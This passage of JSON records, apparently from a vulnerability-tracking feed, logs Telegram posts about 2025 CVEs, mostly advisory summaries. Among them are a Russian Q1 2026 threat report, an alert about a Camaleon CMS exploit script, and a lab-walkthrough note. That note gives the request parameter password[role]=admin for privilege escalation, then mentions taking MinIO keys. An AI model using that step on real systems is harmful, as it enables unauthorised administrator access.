arbitrary code in the context of the Nuclio function container. This vulnerability affects CVAT deployments that run any of the serverless functions of type tracker from the CVAT Git repository, namely TransT and SiamMask. Deployments with custom functions of type tracker may also be affected, depending on how they handle state serialization. If a function uses an unsafe serialization library such as pickle or jsonpickle, it's likely to be vulnerable. Upgrade to CVAT 2.26.0 or later. If you are unable to upgrade, shut down any instances of the TransT or SiamMask functions you're running. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-28T18:47:23.000000Z"}, {"uuid": "2e045d01-4245-48d9-bb07-7c435deda6d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "https://t.me/cvedetector/20303", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-2304 - Camaleon CMS Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-2304 \nPublished : March 14, 2025, 1:15 p.m. | 2\u00a0hours, 15\u00a0minutes ago \nDescription : A Privilege Escalation through a Mass Assignment exists in Camaleon CMS  \n  \nWhen a user wishes to change his password, the 'updated_ajax' method of the UsersController is called. The vulnerability stems from the use of the dangerous permit!\u00a0method, which allows all parameters to pass through without any filtering. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T16:42:37.000000Z"}, {"uuid": "c2d7fc7f-f776-470e-bd05-3236c7f6af6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23042", "type": "seen", "source": "https://t.me/cvedetector/15335", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-23042 - Gradio Case-Insensitive Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-23042 \nPublished : Jan. 14, 2025, 7:15 p.m. | 26\u00a0minutes ago \nDescription : Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected. This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments. This issue has been addressed in release version 5.6.0. Users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T20:42:07.000000Z"}, {"uuid": "13db4d72-e585-4b2d-832c-d3974c37d2a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23041", "type": "seen", "source": "https://t.me/cvedetector/15334", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-23041 - Umbraco.Forms Client-Side Validation Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-23041 \nPublished : Jan. 14, 2025, 7:15 p.m. | 26\u00a0minutes ago \nDescription : Umbraco.Forms is a web form framework written for the nuget ecosystem. Character limits configured by editors for short and long answer fields are validated only client-side, not server-side. This issue has been patched in versions 8.13.16, 10.5.7, 13.2.2, and 14.1.2. Users are advised to upgrade. There are no known workarounds for this issue. \nSeverity: 5.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T20:42:07.000000Z"}, {"uuid": "2103202b-efaf-401b-b555-a7697b1a1aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23044", "type": "seen", "source": "https://t.me/cvedetector/15890", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-23044 - PwnDoc Cross-Site Request Forgery (CSRF) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-23044 \nPublished : Jan. 20, 2025, 4:15 p.m. | 43\u00a0minutes ago \nDescription : PwnDoc is a penetration test report generator. There is no CSRF protection in pwndoc, allowing attackers to send requests on a logged-in user's behalf. This includes GET and POST requests due to the missing SameSite= attribute on cookies and the ability to refresh cookies. Commit 14acb704891245bf1703ce6296d62112e85aa995 patches the issue. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-20T18:23:14.000000Z"}, {"uuid": "6e826a6e-c7fe-4d79-af1c-da01b7a2f45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23040", "type": "seen", "source": "https://t.me/cvedetector/15510", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-23040 - GitHub Desktop: Git Credential Protocol Misinterpretation Due to Malicious Remote URL Schema\", \n  \"Content\": \"CVE ID : CVE-2025-23040 \nPublished : Jan. 15, 2025, 6:15 p.m. | 42\u00a0minutes ago \nDescription : GitHub Desktop is an open-source Electron-based GitHub app designed for git development. An attacker convincing a user to clone a repository directly or through a submodule can allow the attacker access to the user's credentials through the use of maliciously crafted remote URL. GitHub Desktop relies on Git to perform all network related operations (such as cloning, fetching, and pushing). When a user attempts to clone a repository GitHub Desktop will invoke `git clone` and when Git encounters a remote which requires authentication it will request the credentials for that remote host from GitHub Desktop using the git-credential protocol. Using a maliciously crafted URL it's possible to cause the credential request coming from Git to be misinterpreted by Github Desktop such that it will send credentials for a different host than the host that Git is currently communicating with thereby allowing for secret exfiltration. GitHub username and OAuth token, or credentials for other Git remote hosts stored in GitHub Desktop could be improperly transmitted to an unrelated host. Users should update to GitHub Desktop 3.4.12 or greater which fixes this vulnerability. Users who suspect they may be affected should revoke any relevant credentials. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T20:09:12.000000Z"}, {"uuid": "64ab4874-722a-4507-b10e-796e8b8d98d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23047", "type": "seen", "source": "https://t.me/cvedetector/16135", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-23047 - \"Cilium Origin Header Cross-Site Resource Information Leakage\"\", \n  \"Content\": \"CVE ID : CVE-2025-23047 \nPublished : Jan. 22, 2025, 6:15 p.m. | 27\u00a0minutes ago \nDescription : Cilium is a networking, observability, and security solution with an eBPF-based dataplane. An insecure default `Access-Control-Allow-Origin` header value could lead to sensitive data exposure for users of Cilium versions 1.14.0 through 1.14.7, 1.15.0 through 1.15.11, and 1.16.0 through 1.16.4 who deploy Hubble UI using either Cilium CLI or via the Cilium Helm chart. A user with access to a Hubble UI instance affected by this issue could leak configuration details about the Kubernetes cluster which Hubble UI is monitoring, including node names, IP addresses, and other metadata about workloads and the cluster networking configuration. In order for this vulnerability to be exploited, a victim would have to first visit a malicious page. This issue is fixed in Cilium v1.14.18, v1.15.12, and v1.16.5. As a workaround, users who deploy Hubble UI using the Cilium Helm chart directly can remove the CORS headers from the Helm template as shown in the patch from commit a3489f190ba6e87b5336ee685fb6c80b1270d06d. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-22T19:44:53.000000Z"}, {"uuid": "1f2367ca-a61a-478d-9bd8-55b636ee410e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23045", "type": "published-proof-of-concept", "source": "Telegram/VQDyMSiZHY5xvEKb4oih99dlPq4vD6lnAW-AaTy3B_GN-vo", "content": "", "creation_timestamp": "2025-01-28T17:02:25.000000Z"}, {"uuid": "aefc0a7f-1450-4713-80a8-e957b37455a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "Telegram/7JMoJAQEhPOIVteXEuNh9KSphNivDPm_BTKZ1UGMe2rmK8c", "content": "", "creation_timestamp": "2025-03-14T15:02:35.000000Z"}, {"uuid": "5b0f73db-4006-4b75-889f-988c64b183a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-23049", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5414", "content": "Remote Code Execution and Authentication Bypass in Materialise OrthoView (CVE-2025-23049) #OrthoView #RCE #AuthBypass #DICOMsecurity #CommandInjection https://outurnate.com/remote-code-execution-and-authentication-bypass-in-materialise-orthoview-cve-2025-23049", "creation_timestamp": "2026-08-02T00:00:08.781795Z"}, {"uuid": "f6e7ff19-ce2d-47e8-973a-253ea676b571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "https://t.me/true_secator/8183", "content": "\u0421\u043e\u043b\u0430\u0440\u044b \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0430 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0435 \u0443\u0433\u0440\u043e\u0437 \u044d\u0442\u043e\u0433\u043e \u0442\u0438\u043f\u0430.\n\n\u041e\u0442\u043c\u0435\u0442\u0438\u043c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:\n\n- \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c 2025 \u0433\u043e\u0434\u0430 \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043d\u0430 7% - \u0441 397 \u0434\u043e 426. \u0412 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0440\u043e\u0441\u0442 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d \u0442\u0435\u043c \u0444\u0430\u043a\u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0432 2026 \u0433\u043e\u0434\u0443, \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0435\u0449\u0435 \u0432 2025 \u0433\u043e\u0434\u0443.\n\n- \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u043c\u0435\u043b\u0438 83,84% \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u044d\u0442\u043e\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b 81%.\n\n- \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b 8,1 \u0431\u0430\u043b\u043b\u0430. \u0412 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 - 7,8, \u0430 \u0433\u043e\u0434\u043e\u043c \u0440\u0430\u043d\u0435\u0435, \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430, - 7,3.\n\n- 91,62% \u0432\u0441\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTP. \u0411\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u00ab\u043f\u0440\u0435\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00bb - TCP (3,07%).\n\n- \u041d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f Critical \u0438 High \u0432 \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c 72,06% - \u044d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 2025 \u0433\u043e\u0434\u0430 (69,3%), \u043d\u043e \u043b\u0438\u0448\u044c \u043d\u0435 \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0431\u044b\u043b\u043e \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 (71,5%).\n\n-  \u0421\u0430\u043c\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u043c \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u0432 \u043f\u043e\u0434\u0440\u044f\u0434 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f WordPress \u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u0434\u043b\u044f \u043d\u0435\u0433\u043e (18,13%).\n\n\u0414\u043e\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0431\u0449\u0435\u043c \u043e\u0431\u044a\u0435\u043c\u0435 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043d\u0430 4,7 \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043d\u044b\u0445 \u043f\u0443\u043d\u043a\u0442\u0430 \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c. \u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 WordPress \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c 22,4% \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u043d\u0430 \u0443\u043f\u0430\u043b\u0430.\n\n- \u041f\u043e\u0441\u043b\u0435 \u0441\u043f\u0430\u0434\u0430 \u0432 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u0432\u043d\u043e\u0432\u044c \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u043a \u0440\u043e\u0441\u0442\u0443 \u0434\u043e\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445.\n\n\u041d\u0430 \u043d\u0438\u0445 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c 4,83%. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 - 9,2 \u0431\u0430\u043b\u043b\u0430. \u042d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432-\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0418\u0445 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u0434\u043a\u043e, \u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u0442\u0430\u043a\u0438\u0445 \u0431\u0440\u0435\u0448\u0435\u0439 \u0438\u043c\u0435\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0431\u0449\u0438\u043c \u0442\u0440\u0435\u043d\u0434\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043a\u0430\u043d\u0435\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0418\u0418-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432. \u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043d\u0438\u0445, \u043d\u0430 \u043c\u0430\u0440\u0442 2026 \u0433. \u0432 AI-\u0430\u0433\u0435\u043d\u0442\u0435 OpenClaw \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 522 CVE, \u0438 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442\u0441\u044f, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0440\u0438\u0437\u0438\u0441\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 OpenClaw. ClawJacked - \u044d\u0442\u043e \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 AI-\u0430\u0433\u0435\u043d\u0442.\n\n\u0412 1-\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433. \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: CVE-2025-2304 (Camaleon CMS), CVE-2026-23744 (MCPJam Inspector), CVE-2026-21858 (n8n), CVE-2026-29000 (pac4j-jwt) \u0438 CVE-2026-21962 (Oracle Fusion Middleware).\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-05-07T16:20:06.000000Z"}, {"uuid": "e467725b-c960-4d43-bc85-a5f0670a41bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "https://t.me/GithubRedTeam/84939", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2025 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2025-2304\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a MAEN1-prog\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-20 07:49:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\udee0\ufe0f Exploit CVE-2025-2304 in Camaleon CMS easily with this Python script for privilege escalation, tested on version 2.9.0.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T08:00:12.000000Z"}, {"uuid": "ac5c294a-d0a2-48aa-80cf-455634b80c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2304", "type": "seen", "source": "https://t.me/bagl3y_notes/270", "content": "\ud83d\udfe2 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \ud83d\udc9a \u0442\u0430\u0447\u043a\u0438 \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f   \u0420\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c\u0441\u044f \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 Camaleon CMS 2.9.0 (Ruby on Rails) \u27a1\ufe0f \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0mass assignment\u00a0\u0432 endpoint'\u0435\u00a0/admin/users/:id/updated_ajax\u00a0(CVE-2025-2304 -\u00a0params.permit!\u00a0\u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438) \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c\u00a0password[role]=admin\u00a0\u0432 POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u043c \u0441\u0435\u0431\u044f \u0434\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u27a1\ufe0f \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 S3-\u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0443\u00a0MinIO\u00a0(\u043f\u043e\u0440\u0442 54321) \u27a1\ufe0f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0awscli\u00a0\u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u043c bucket'\u044b, 